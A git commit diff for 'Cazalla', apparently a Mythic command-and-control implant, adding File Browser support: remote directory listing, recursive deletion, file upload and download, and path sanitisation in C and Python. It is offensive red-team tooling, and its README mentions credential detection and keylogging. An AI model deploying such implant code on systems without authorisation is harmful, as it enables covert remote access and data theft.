File Browser completed

This commit is contained in:
marcos.luna
2025-10-31 12:00:15 +01:00
parent 519d2a8946
commit eca961ac50
8 changed files with 739 additions and 41 deletions
@@ -89,12 +89,28 @@ VOID ListarDirectorio(PAnalizador argumentos){
UINT32 tamanoPath = 0;
SIZE_T tamano = 0;
char nombreFichero[MAX_FILENAME];
char nombreFichero[MAX_FILENAME] = {0};
PCHAR fichero = getString(argumentos, &tamano);
strcpy(nombreFichero, fichero);
if (!fichero || tamano == 0) {
_err("Invalid path received");
return;
}
_dbg("Filename: %s", nombreFichero);
// Asegurar null-termination: copiar máximo tamano-1 bytes y agregar null al final
SIZE_T copyLen = (tamano < MAX_FILENAME - 1) ? tamano : MAX_FILENAME - 1;
memcpy(nombreFichero, fichero, copyLen);
nombreFichero[copyLen] = '\0';
// Limpiar cualquier carácter no imprimible o inválido al final
for (SIZE_T i = 0; i < copyLen; i++) {
if (nombreFichero[i] == '\0' || nombreFichero[i] == '\r' || nombreFichero[i] == '\n') {
nombreFichero[i] = '\0';
break;
}
}
_dbg("Filename: %s (length: %zu)", nombreFichero, strlen(nombreFichero));
PPaquete salida = nuevoPaquete(0, FALSE);
@@ -127,26 +143,34 @@ VOID ListarDirectorio(PAnalizador argumentos){
}
SYSTEMTIME systemTime, localTime;
DWORD fileCount = 0;
do{
// Skip . and .. entries
if (strcmp(datosEncontrados.cFileName, ".") == 0 || strcmp(datosEncontrados.cFileName, "..") == 0) {
continue;
}
FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime);
SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);
if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
localTime.wMonth, localTime.wDay, localTime.wYear,
localTime.wHour, localTime.wMinute, localTime.wSecond,
datosEncontrados.cFileName);
fileCount++;
}else{
PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow,
localTime.wMonth, localTime.wDay, localTime.wYear,
localTime.wHour, localTime.wMinute, localTime.wSecond,
datosEncontrados.cFileName);
fileCount++;
}
} while (FindNextFileA(primerFichero, &datosEncontrados));
_dbg("[ls] Total files/directories listed: %lu", fileCount);
FindClose(primerFichero);
@@ -405,22 +429,45 @@ VOID BorrarDirectoriosHijos(char* rutaFichero){
}
VOID EliminarRuta(PAnalizador argumentos){
#define MAX_PATH_RM 0x4000
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0;
PCHAR ruta = getString(argumentos, &tamano);
PCHAR rutaRaw = getString(argumentos, &tamano);
if (nbArg == 0)
return;
if (EsDirectorio(ruta)){
if (!rutaRaw || tamano == 0) {
_err("[rm] Invalid path received");
goto end;
}
// Asegurar null-termination: copiar máximo tamano-1 bytes y agregar null al final
char ruta[MAX_PATH_RM] = {0};
SIZE_T copyLen = (tamano < MAX_PATH_RM - 1) ? tamano : MAX_PATH_RM - 1;
memcpy(ruta, rutaRaw, copyLen);
ruta[copyLen] = '\0';
// Limpiar cualquier carácter no imprimible o inválido al final
for (SIZE_T i = 0; i < copyLen; i++) {
if (ruta[i] == '\0' || ruta[i] == '\r' || ruta[i] == '\n') {
ruta[i] = '\0';
break;
}
}
_dbg("[rm] Deleting path: %s (length: %zu)", ruta, strlen(ruta));
if (EsDirectorio(ruta)){
_dbg("[rm] Path is a directory, deleting recursively");
BorrarDirectoriosHijos(ruta);
RemoveDirectoryA(ruta);
}else{
_dbg("[rm] Path is a file, deleting");
DeleteFileA(ruta);
}
@@ -445,7 +492,7 @@ VOID EliminarRuta(PAnalizador argumentos){
end:;
// Cleanup
LocalFree(ruta);
LocalFree(rutaRaw);
}
// Helper function to detect credentials in file content (internal use only)
@@ -1287,17 +1334,87 @@ VOID SubirFichero(PAnalizador argumentos) {
SIZE_T tamano = 0;
PCHAR file_id = getString(argumentos, &tamano);
SIZE_T tamano2 = 0;
PCHAR rutaDestino = getString(argumentos, &tamano2);
PCHAR rutaDestinoRaw = getString(argumentos, &tamano2);
_dbg("[upload] File ID: \"%s\", Ruta destino: \"%s\"", file_id, rutaDestino);
if (!rutaDestinoRaw || tamano2 == 0) {
_err("[upload] Invalid path received");
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: Ruta inválida recibida\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
goto end;
}
// Normalizar path y verificar que no termine en backslash
char fullPath[2048] = {0};
if (GetFullPathNameA(rutaDestino, sizeof(fullPath), fullPath, NULL) == 0) {
strncpy(fullPath, rutaDestino, sizeof(fullPath) - 1);
// Asegurar null-termination: copiar máximo tamano2-1 bytes y agregar null al final
#define MAX_PATH_UPLOAD 2048
char rutaDestino[MAX_PATH_UPLOAD] = {0};
SIZE_T copyLen = (tamano2 < MAX_PATH_UPLOAD - 1) ? tamano2 : MAX_PATH_UPLOAD - 1;
memcpy(rutaDestino, rutaDestinoRaw, copyLen);
rutaDestino[copyLen] = '\0';
// Limpiar cualquier carácter no imprimible o inválido (incluyendo caracteres nulos en medio)
SIZE_T cleanLen = 0;
for (SIZE_T i = 0; i < copyLen; i++) {
char c = rutaDestino[i];
// Saltar caracteres nulos, retornos de carro y saltos de línea
if (c == '\0' || c == '\r' || c == '\n') {
break;
}
// Permitir caracteres válidos para rutas Windows (caracteres imprimibles comunes)
// Permitir: letras, números, espacios, y caracteres especiales comunes en rutas
if ((c >= 32 && c <= 126) || c == '\\' || c == '/' || c == ':') {
rutaDestino[cleanLen++] = c;
}
}
rutaDestino[cleanLen] = '\0';
copyLen = cleanLen;
_dbg("[upload] File ID: \"%s\", Ruta destino (raw len=%zu): \"%s\"", file_id, tamano2, rutaDestino);
// Normalizar path: primero quitar dobles backslashes manualmente
char normalizedPath[MAX_PATH_UPLOAD] = {0};
SIZE_T srcLen = strlen(rutaDestino);
SIZE_T j = 0;
for (SIZE_T i = 0; i < srcLen && j < sizeof(normalizedPath) - 1; i++) {
if (rutaDestino[i] == '\\' && i + 1 < srcLen && rutaDestino[i + 1] == '\\') {
// Doble backslash, usar solo uno (excepto si es al inicio como \\server)
if (i == 0 || (i == 2 && rutaDestino[1] == '\\')) {
// Mantener doble backslash para UNC paths (\\server\share)
normalizedPath[j++] = rutaDestino[i];
} else {
// Doble backslash en medio, usar solo uno
normalizedPath[j++] = '\\';
i++; // Saltar el siguiente backslash
}
} else {
normalizedPath[j++] = rutaDestino[i];
}
}
normalizedPath[j] = '\0';
_dbg("[upload] Path después de normalizar dobles backslashes: \"%s\"", normalizedPath);
// Intentar normalizar path usando GetFullPathNameA
char fullPath[MAX_PATH_UPLOAD] = {0};
DWORD pathLenResult = GetFullPathNameA(normalizedPath, sizeof(fullPath), fullPath, NULL);
if (pathLenResult == 0 || pathLenResult >= sizeof(fullPath)) {
// Si GetFullPathNameA falla, usar la ruta normalizada directamente
DWORD lastError = GetLastError();
_dbg("[upload] GetFullPathNameA falló (ret=%lu, error=%lu) o path muy largo, usando ruta normalizada", pathLenResult, lastError);
strncpy(fullPath, normalizedPath, sizeof(fullPath) - 1);
fullPath[sizeof(fullPath) - 1] = '\0';
}
// Asegurar null-termination en fullPath
fullPath[sizeof(fullPath) - 1] = '\0';
_dbg("[upload] Full path normalizado: \"%s\" (len=%zu)", fullPath, strlen(fullPath));
// Verificar si el path es un directorio (termina en \ o es un directorio existente)
SIZE_T pathLen = strlen(fullPath);
if (pathLen > 0 && (fullPath[pathLen - 1] == '\\' || fullPath[pathLen - 1] == '/')) {
@@ -1328,6 +1445,35 @@ VOID SubirFichero(PAnalizador argumentos) {
goto end;
}
// Verificar que el directorio padre exista, y crearlo si no existe
char parentDir[MAX_PATH_UPLOAD] = {0};
strncpy(parentDir, fullPath, sizeof(parentDir) - 1);
parentDir[sizeof(parentDir) - 1] = '\0';
// Encontrar el último backslash
char* lastSlash = strrchr(parentDir, '\\');
if (lastSlash && lastSlash > parentDir) {
*lastSlash = '\0';
// Verificar si el directorio padre existe
DWORD parentAttrib = GetFileAttributesA(parentDir);
if (parentAttrib == INVALID_FILE_ATTRIBUTES) {
// Directorio padre no existe, intentar crearlo
_dbg("[upload] Directorio padre no existe, creándolo: %s", parentDir);
// Crear directorios padre recursivamente usando SHCreateDirectoryExA
// Como alternativa, usar una función simple que cree directorios uno por uno
if (!CreateDirectoryA(parentDir, NULL)) {
DWORD createError = GetLastError();
if (createError != ERROR_ALREADY_EXISTS) {
_err("[upload] No se pudo crear directorio padre '%s'. Código: %lu", parentDir, createError);
}
}
}
}
_dbg("[upload] Intentando crear archivo: %s", fullPath);
// Crear archivo de destino
HANDLE hFile = CreateFileA(
fullPath,
@@ -1341,7 +1487,7 @@ VOID SubirFichero(PAnalizador argumentos) {
if (hFile == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError();
_err("[upload] No se pudo crear el archivo. Código: %lu\n", error);
_err("[upload] No se pudo crear el archivo '%s'. Código: %lu (GetLastError)", fullPath, error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
@@ -29,6 +29,7 @@ class DownloadCommand(CommandBase):
help_cmd = "download <path>"
description = "Download a file from the target to the Mythic server"
version = 1
supported_ui_features = ["file_browser:download"]
author = "@KaseyaOFSTeam"
argument_class = DownloadArguments
@@ -2,6 +2,8 @@ from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import re
import string, json
import os
from datetime import datetime
import logging
@@ -22,26 +24,74 @@ class LsArguments(TaskArguments):
]
async def parse_arguments(self):
logging.info("Parse Aguments")
if len(self.command_line) > 0:
# Check if it's JSON from File Browser
if self.command_line[0] == '{':
try:
temp_json = json.loads(self.command_line)
if 'host' in temp_json:
# File Browser format: combine path + file
full_path = temp_json.get('full_path', '')
if full_path:
self.add_arg("path", full_path)
else:
path = temp_json.get('path', '')
file = temp_json.get('file', '')
if path and file:
# Normalize path separators
if not path.endswith('\\') and not path.endswith('/'):
path = path + "\\"
self.add_arg("path", path + file)
elif path:
self.add_arg("path", path)
else:
self.add_arg("path", ".\\*")
self.add_arg("host", temp_json.get('host', ''))
self.add_arg("file_browser", "true")
return
except:
pass
# Regular command line usage
self.add_arg("path", self.command_line)
self.add_arg("host", "")
self.add_arg("file_browser", "false")
else:
# No arguments, list current directory
self.add_arg("path", ".\\*")
self.add_arg("host", "")
self.add_arg("file_browser", "false")
async def parse_dictionary(self, dictionary):
logging.info("Parse Dictionary")
logging.info(f"Parse Dictionary - {dictionary}")
if "host" in dictionary:
# File Browser format
logging.info(f"Command came from File Browser UI - {dictionary}")
self.add_arg("path", dictionary["path"] + "\\" + dictionary["file"])
# self.add_arg("file_browser", type=ParameterType.Boolean, value=True)
full_path = dictionary.get('full_path', '')
if full_path:
self.add_arg("path", full_path)
else:
path = dictionary.get("path", '')
file = dictionary.get("file", '')
if path and file:
if not path.endswith('\\') and not path.endswith('/'):
path = path + "\\"
self.add_arg("path", path + file)
elif path:
self.add_arg("path", path)
else:
self.add_arg("path", ".\\*")
self.add_arg("host", dictionary.get("host", ""))
self.add_arg("file_browser", "true")
else:
# Command line usage
logging.info(f"Command came from CMDLINE - {dictionary}")
arg_path = dictionary.get("path")
if arg_path:
self.add_arg("path", arg_path)
else:
self.add_arg("path", ".\\*") # List current directory if no args
self.add_arg("file_browser", "true")
self.add_arg("path", ".\\*")
self.add_arg("host", "")
self.add_arg("file_browser", "false")
self.load_args_from_dictionary(dictionary)
@@ -98,4 +148,191 @@ class LsCommand(CommandBase):
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# Log that process_response was called
logging.info(f"[FILE_BROWSER] process_response called for task {task.Task.ID}")
logging.info(f"[FILE_BROWSER] response type: {type(response)}")
if response:
logging.info(f"[FILE_BROWSER] response keys: {list(response.keys()) if isinstance(response, dict) else 'not a dict'}")
# Check if this was from File Browser
is_file_browser = task.args.get_arg("file_browser") == "true"
logging.info(f"[FILE_BROWSER] is_file_browser={is_file_browser}")
# Check if translator already parsed file_browser format
# The translator automatically detects and parses File Browser format,
# so we only need to enhance it with host info if needed
if isinstance(response, dict) and "file_browser" in response:
logging.info(f"[FILE_BROWSER] Translator already parsed file_browser, just adding host if missing")
file_browser_data = response.get("file_browser")
if file_browser_data and not file_browser_data.get("host"):
host = task.args.get_arg("host") or ""
if not host and task.Callback:
host = task.Callback.Host
file_browser_data["host"] = host
resp.ProcessResponse = response
return resp
# Only parse if translator didn't already do it (fallback for non-File Browser commands)
if is_file_browser and response:
try:
# Agent output format:
# Line 1: directory path
# Lines 2+: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
output_text = response.get("user_output", "")
if not output_text:
return resp
lines = [l.strip() for l in output_text.strip().split('\n') if l.strip()]
if len(lines) < 1:
logging.warning("[FILE_BROWSER] No lines in output")
return resp
logging.info(f"[FILE_BROWSER] Parsing {len(lines)} lines from output")
logging.info(f"[FILE_BROWSER] First few lines: {lines[:3]}")
# First line is the directory path being listed
dir_path = lines[0].strip()
# Normalize path
if dir_path.endswith('\\*'):
dir_path = dir_path[:-2]
if dir_path.endswith('*'):
dir_path = dir_path[:-1]
dir_path = dir_path.rstrip('\\/')
# Determine parent path
if dir_path.endswith(':\\') or dir_path == '':
parent_path = ""
else:
parent_path = os.path.dirname(dir_path) if os.path.dirname(dir_path) else ""
# Get hostname
host = task.args.get_arg("host") or ""
if not host:
host = task.Callback.Host if task.Callback else ""
# Determine if the listed item is a file or directory
# Since we're listing a directory, it's typically not a file
is_file = False
name = os.path.basename(dir_path) if dir_path else ""
if not name:
# Root directory case (e.g., C:\)
if len(dir_path) == 2 and dir_path[1] == ':':
name = dir_path[0] + ':'
parent_path = ""
else:
name = dir_path
# Parse file/directory entries
# Format: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
files = []
for i, line in enumerate(lines[1:], 1): # Start from line 1 (skip path line)
parts = line.split('\t')
logging.debug(f"[FILE_BROWSER] Line {i}: {line[:100]}... (parts: {len(parts)})")
if len(parts) >= 4:
file_type = parts[0].strip() # D or F
size_str = parts[1].strip()
datetime_str = parts[2].strip() # MM/DD/YYYY HH:MM:SS (already combined)
file_name = parts[3].strip() if len(parts) > 3 else ""
# Skip empty lines or invalid entries
if not file_type or not file_name:
continue
# Skip . and ..
if file_name in ['.', '..']:
continue
try:
# Parse date: MM/DD/YYYY HH:MM:SS
date_obj = datetime.strptime(datetime_str, "%m/%d/%Y %H:%M:%S")
modify_time_ms = int(date_obj.timestamp() * 1000)
# Use modify_time as access_time (agent doesn't provide separate access time)
access_time_ms = modify_time_ms
# Filter out invalid dates (before 1980 or after year 2100)
# This helps filter out files with corrupted timestamps (e.g., 1970 epoch issues)
if modify_time_ms < 315532800000 or modify_time_ms > 4102444800000: # Before 1980-01-01 or after 2100-01-01
logging.warning(f"[FILE_BROWSER] Skipping file with invalid date: {file_name} (timestamp: {modify_time_ms}, date: {datetime_str})")
continue
except Exception as date_err:
logging.warning(f"Could not parse date '{datetime_str}': {date_err}")
# Skip files with unparseable dates
continue
try:
# Parse size - remove any text like "b" or "by" at the end
size_str_clean = re.sub(r'[^\d]', '', size_str) # Remove all non-digits
if size_str_clean:
size = int(size_str_clean) if file_type == 'F' else 0
else:
size = 0
except Exception as size_err:
logging.warning(f"Could not parse size '{size_str}': {size_err}")
size = 0
# Get file attributes as permissions (Windows specific)
permissions = {
"attributes": "DIRECTORY" if file_type == 'D' else "FILE"
}
# Skip files with invalid names or empty names
if file_name and file_name.strip() and file_name not in ['.', '..']:
files.append({
"is_file": file_type == 'F',
"permissions": permissions,
"name": file_name,
"access_time": access_time_ms,
"modify_time": modify_time_ms,
"size": size
})
logging.debug(f"[FILE_BROWSER] Added: {file_name} ({'file' if file_type == 'F' else 'dir'}, size={size})")
else:
logging.warning(f"[FILE_BROWSER] Skipping line {i} - insufficient parts: {len(parts)}")
# Remove duplicates by name to ensure clean response
seen_files = {}
unique_files = []
for f in files:
file_name = f.get("name", "")
# Only add if we haven't seen this file name before
if file_name and file_name not in seen_files:
seen_files[file_name] = True
unique_files.append(f)
# Use current timestamp for modify_time to help Mythic identify fresh responses
import time
current_timestamp_ms = int(time.time() * 1000)
# Build file_browser response
file_browser_data = {
"host": host,
"is_file": is_file,
"permissions": {"attributes": "DIRECTORY"} if not is_file else {"attributes": "FILE"},
"name": name,
"parent_path": parent_path,
"success": True,
"access_time": current_timestamp_ms, # Use current time to help with cache invalidation
"modify_time": current_timestamp_ms, # Use current time to help with cache invalidation
"size": 0,
"update_deleted": True, # Tell Mythic this is the complete list - mark missing files as deleted
"files": unique_files # Use deduplicated files list - complete and fresh
}
logging.info(f"[FILE_BROWSER] Sending fresh listing for '{name}' with {len(unique_files)} unique files (timestamp: {current_timestamp_ms}, update_deleted=True)")
# Add file_browser to response
# Merge with existing response (like rm.py does)
resp.ProcessResponse = response if isinstance(response, dict) else {}
resp.ProcessResponse["file_browser"] = file_browser_data
logging.info(f"[FILE_BROWSER] Added {len(files)} files/directories to file_browser response")
logging.info(f"[FILE_BROWSER] ProcessResponse keys: {list(resp.ProcessResponse.keys())}")
except Exception as e:
logging.error(f"Error parsing file browser response: {str(e)}")
import traceback
logging.error(traceback.format_exc())
return resp
@@ -1,6 +1,8 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import logging
logging.basicConfig(level=logging.INFO)
class RmArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
@@ -22,8 +24,45 @@ class RmArguments(TaskArguments):
self.add_arg("path", self.command_line)
async def parse_dictionary(self, dictionary):
logging.info(f"[rm] Parse Dictionary - {dictionary}")
# Load args first (will set path from dictionary)
self.load_args_from_dictionary(dictionary)
# Then override with processed values if coming from File Browser
if "host" in dictionary:
# File Browser format
logging.info(f"[rm] Command came from File Browser UI - {dictionary}")
full_path = dictionary.get('full_path', '')
if full_path:
self.add_arg("path", full_path)
logging.info(f"[rm] Using full_path: {full_path}")
else:
path = dictionary.get("path", '')
file = dictionary.get("file", '')
if path and file:
# Combine path and file
if not path.endswith('\\') and not path.endswith('/'):
path = path + "\\"
combined_path = path + file
self.add_arg("path", combined_path)
logging.info(f"[rm] Combined path + file: {combined_path}")
elif path:
self.add_arg("path", path)
logging.info(f"[rm] Using path only: {path}")
else:
raise ValueError("[rm] File Browser request missing both path and file")
self.add_arg("host", dictionary.get("host", ""))
else:
# Command line usage - already loaded from dictionary, just verify
logging.info(f"[rm] Command came from CMDLINE - {dictionary}")
arg_path = self.get_arg("path")
if not arg_path:
arg_path = dictionary.get("path")
if arg_path:
self.add_arg("path", arg_path)
else:
raise ValueError("[rm] No path specified")
class RmCommand(CommandBase):
cmd = "rm"
needs_admin = False
@@ -53,4 +92,25 @@ class RmCommand(CommandBase):
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# Check if removal was successful by checking user_output
if response:
user_output = response.get("user_output", "")
# If output doesn't contain error indicators, assume success
if user_output and not any(err in user_output.lower() for err in ["error", "failed", "cannot", "cannot"]):
# Get the path that was deleted
path = task.args.get_arg("path")
if path:
# Get hostname
host = task.Callback.Host if task.Callback else ""
# Add removed_files array to response (merge with existing response)
resp.ProcessResponse = response if isinstance(response, dict) else {}
resp.ProcessResponse["removed_files"] = [
{
"host": host,
"path": path
}
]
return resp
@@ -55,6 +55,7 @@ class UploadCommand(CommandBase):
help_cmd = "upload <file> <path>"
description = "Upload a file from the Mythic server to the target"
version = 1
supported_ui_features = ["file_browser:upload"]
author = "@KaseyaOFSTeam"
argument_class = UploadArguments
@@ -79,12 +80,36 @@ class UploadCommand(CommandBase):
file_info = file_search.Files[0]
filename = file_info.Filename
# Normalize path: replace double backslashes with single backslash
if path:
while "\\\\" in path:
path = path.replace("\\\\", "\\")
# If path is empty, use current directory + filename
if not path or path.strip() == "":
path = ".\\" + filename
# If path ends with backslash or forward slash, append filename
elif path.endswith("\\") or path.endswith("/"):
path = path.rstrip("\\/") + "\\" + filename
# If path doesn't end with a backslash, check if it's a directory
# If it's a directory (or looks like one), append filename
else:
import os
path_normalized = path.rstrip("\\/")
# Get the last component of the path (filename or directory name)
path_basename = os.path.basename(path_normalized)
# Heuristic: If the basename doesn't have a file extension,
# or if it's just a drive letter (like "C:"), treat as directory
has_extension = '.' in path_basename
is_drive_letter = len(path_basename) == 2 and path_basename[1] == ':'
# If no extension and not empty, likely a directory - append filename
# Also treat drive letters as directories
if is_drive_letter or (not has_extension and path_basename):
path = path_normalized + "\\" + filename
# Otherwise, assume it's already a full file path and use as-is
response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}"
# Update the path argument with the final path (including filename if needed)
@@ -62,18 +62,30 @@ def responseTasking(tasks):
data = command_code + task_id
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
# Normalize paths for upload command - replace double backslashes
if command_to_run == "upload" and "path" in parameters:
# Normalize paths for upload and ls commands - replace double backslashes
if command_to_run in ["upload", "ls", "download", "rm", "cat", "mkdir", "cp"] and "path" in parameters:
path = parameters["path"]
if path:
# Replace all sequences of double backslashes with single backslash
while "\\\\" in path:
path = path.replace("\\\\", "\\")
# Ensure path doesn't have trailing nulls or invalid characters
path = path.rstrip('\x00')
parameters["path"] = path
print(f"[DEBUG] Normalized path for {command_to_run}: {repr(path)}")
data += len(parameters).to_bytes(4,"big")
for param in parameters:
data += len(parameters[param]).to_bytes(4, "big")
data += parameters[param].encode()
param_value = parameters[param]
# Ensure parameter is a string and doesn't contain null bytes
if isinstance(param_value, str):
param_value = param_value.rstrip('\x00')
param_bytes = param_value.encode('utf-8')
# Remove any null bytes from the encoded string
param_bytes = param_bytes.replace(b'\x00', b'')
else:
param_bytes = str(param_value).encode('utf-8')
data += len(param_bytes).to_bytes(4, "big")
data += param_bytes
else:
data += b"\x00\x00\x00\x00"
@@ -167,6 +167,146 @@ def parse_process_list(output_text):
return processes
def parse_file_browser_list(output_text):
"""
Parsea el texto tab-separated de lista de archivos al formato JSON del File Browser.
Formato esperado del agente: path\nD/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME\n...
Formato requerido por Mythic File Browser según docs:
https://docs.mythic-c2.net/customizing/hooking-features/file-browser
"""
import os
from datetime import datetime
import re
lines = [l.strip() for l in output_text.strip().split('\n') if l.strip()]
if len(lines) < 2:
return None
try:
# Primera línea es el path del directorio
dir_path = lines[0].strip()
# Normalize path
if dir_path.endswith('\\*'):
dir_path = dir_path[:-2]
if dir_path.endswith('*'):
dir_path = dir_path[:-1]
dir_path = dir_path.rstrip('\\/')
# Determine parent path
if dir_path.endswith(':\\') or dir_path == '':
parent_path = ""
else:
parent_path = os.path.dirname(dir_path) if os.path.dirname(dir_path) else ""
# Determine name
name = os.path.basename(dir_path) if dir_path else ""
if not name:
if len(dir_path) == 2 and dir_path[1] == ':':
name = dir_path[0] + ':'
parent_path = ""
else:
name = dir_path
# Parse file/directory entries
# Format: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
files = []
for line in lines[1:]:
parts = line.split('\t')
if len(parts) >= 4:
file_type = parts[0].strip() # D or F
size_str = parts[1].strip()
datetime_str = parts[2].strip()
file_name = parts[3].strip() if len(parts) > 3 else ""
# Skip empty or invalid entries
if not file_type or not file_name:
continue
# Skip . and ..
if file_name in ['.', '..']:
continue
try:
# Parse date: MM/DD/YYYY HH:MM:SS
date_obj = datetime.strptime(datetime_str, "%m/%d/%Y %H:%M:%S")
modify_time_ms = int(date_obj.timestamp() * 1000)
access_time_ms = modify_time_ms
# Filter out invalid dates (before 1980 or after year 2100)
# This helps filter out files with corrupted timestamps (e.g., 1970 epoch issues)
if modify_time_ms < 315532800000 or modify_time_ms > 4102444800000: # Before 1980-01-01 or after 2100-01-01
print(f"[FILE_BROWSER] Skipping file with invalid date: {file_name} (timestamp: {modify_time_ms})")
continue
except:
modify_time_ms = 0
access_time_ms = 0
# Skip files with unparseable dates
print(f"[FILE_BROWSER] Skipping file with unparseable date: {file_name}")
continue
try:
# Parse size - remove any non-digit characters
size_str_clean = re.sub(r'[^\d]', '', size_str)
if size_str_clean:
size = int(size_str_clean) if file_type == 'F' else 0
else:
size = 0
except:
size = 0
permissions = {
"attributes": "DIRECTORY" if file_type == 'D' else "FILE"
}
files.append({
"is_file": file_type == 'F',
"permissions": permissions,
"name": file_name,
"access_time": access_time_ms,
"modify_time": modify_time_ms,
"size": size
})
# Build file_browser response
# Remove any duplicate files by name to ensure clean response
seen_files = {}
unique_files = []
for f in files:
file_name = f.get("name", "")
# Only add if we haven't seen this file name before
if file_name and file_name not in seen_files:
seen_files[file_name] = True
unique_files.append(f)
# Use current timestamp for modify_time to help Mythic identify fresh responses
import time
current_timestamp_ms = int(time.time() * 1000)
file_browser_data = {
"host": "", # Will be filled by Mythic based on callback
"is_file": False,
"permissions": {"attributes": "DIRECTORY"},
"name": name,
"parent_path": parent_path,
"success": True,
"access_time": current_timestamp_ms, # Use current time to help with cache invalidation
"modify_time": current_timestamp_ms, # Use current time to help with cache invalidation
"size": 0,
"update_deleted": True, # Tell Mythic this is the complete list - mark missing files as deleted
"files": unique_files # Use deduplicated files list - complete and fresh
}
print(f"[FILE_BROWSER] Sending fresh listing for '{name}' with {len(unique_files)} unique files (timestamp: {current_timestamp_ms}, update_deleted=True)")
return file_browser_data
except Exception as e:
print(f"[ERROR] Error parseando lista de archivos: {e}")
import traceback
traceback.print_exc()
return None
def postResponse(data):
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}")
@@ -681,6 +821,32 @@ def postResponse(data):
jsonTask["processes"] = processes
print(f"[PROCESS_BROWSER] Respuesta convertida al formato Process Browser con {len(processes)} procesos")
# Detectar y convertir formato File Browser (formato: path\nD/F\tSIZE\tDATE\tNAME)
# El formato del agente es: primera línea es el path, luego líneas con D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
# Solo procesar si NO es una lista de procesos (para evitar conflictos)
file_browser_data = None
if not is_process_list and decoded_output and '\t' in decoded_output and '\n' in decoded_output:
lines = [l.strip() for l in decoded_output.strip().split('\n') if l.strip()]
if len(lines) >= 2:
# Verificar si el formato es de lista de archivos
# Primera línea debería ser un path (contiene :\ o \\)
first_line = lines[0]
# Segunda línea debería empezar con D o F seguido de tab
if len(lines) > 1:
second_line = lines[1]
parts = second_line.split('\t')
# Verificar formato: D/F\tSIZE\tDATE\tNAME
# DATE debería tener formato MM/DD/YYYY HH:MM:SS (contiene / y :)
if (len(parts) >= 4 and
parts[0].strip() in ['D', 'F'] and
'/' in parts[2] and ':' in parts[2] and
(':' in first_line or '\\' in first_line)):
print(f"[FILE_BROWSER] Detectado formato de lista de archivos, parseando...")
file_browser_data = parse_file_browser_list(decoded_output)
if file_browser_data:
jsonTask["file_browser"] = file_browser_data
print(f"[FILE_BROWSER] Respuesta convertida al formato File Browser con {len(file_browser_data.get('files', []))} archivos/carpetas")
# Support for artifacts: create artifacts from parsed data
artifacts = []
+62 -11
View File
@@ -27,7 +27,7 @@
- [Credentials Support](#credentials-support)
- [File Downloads Support](#file-downloads-support)
- [File Uploads Support](#file-uploads-support)
- [⌨️ Keylogging Support](#%EF%B8%8F-keylogging-support)
- [Keylogging Support](#%EF%B8%8F-keylogging-support)
- [Development](#development)
- [Troubleshooting](#troubleshooting)
- [Credits](#credits)
@@ -905,9 +905,11 @@ Cazalla supports uploading files from the Mythic server to the target using chun
- **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer
- **Automatic Path Normalization**: Automatically handles path formatting (normalizes double backslashes)
- **Smart Path Handling**: Automatically appends filename when path is a directory
- **Smart Path Handling**: Automatically appends filename when path is a directory or doesn't have a file extension
- **File Browser Integration**: Fully integrated with Mythic's File Browser UI - upload files directly from the browser
- **Progress Tracking**: Mythic tracks upload progress (chunks sent/total chunks)
- **File Write Artifacts**: Automatically reports File Write artifacts when files are uploaded
- **Parent Directory Creation**: Automatically creates parent directories if they don't exist
### How It Works
@@ -927,14 +929,34 @@ Cazalla supports uploading files from the Mythic server to the target using chun
### Using the Upload Command
#### From Command Line
```bash
# Upload a file to the target
# Select file from Mythic UI file selector, then specify destination path
upload <file> C:\Users\localuser\Downloads\file.txt
upload <file_id> C:\Users\localuser\Downloads\file.txt
# If path is a directory, filename is automatically appended
upload <file_id> C:\Users\localuser\Downloads
# → Automatically becomes: C:\Users\localuser\Downloads\<filename>
# Uploads are chunked automatically - Mythic will show progress
```
#### From File Browser UI
The `upload` command is fully integrated with Mythic's File Browser:
1. Navigate to **Files** icon in the top navigation
2. Browse to the target directory where you want to upload
3. Click the **Upload** button (or right-click on a directory)
4. Select the file from your local system
5. The agent automatically detects if the path is a directory and appends the filename
**Note**: When uploading from the File Browser, you can specify:
- A full file path: `C:\Users\localuser\Downloads\file.txt` → Uploads to exact path
- A directory path: `C:\Users\localuser\Downloads` → Automatically appends filename from source file
### Upload Process
1. **Request**: Agent sends upload request to Mythic for each chunk:
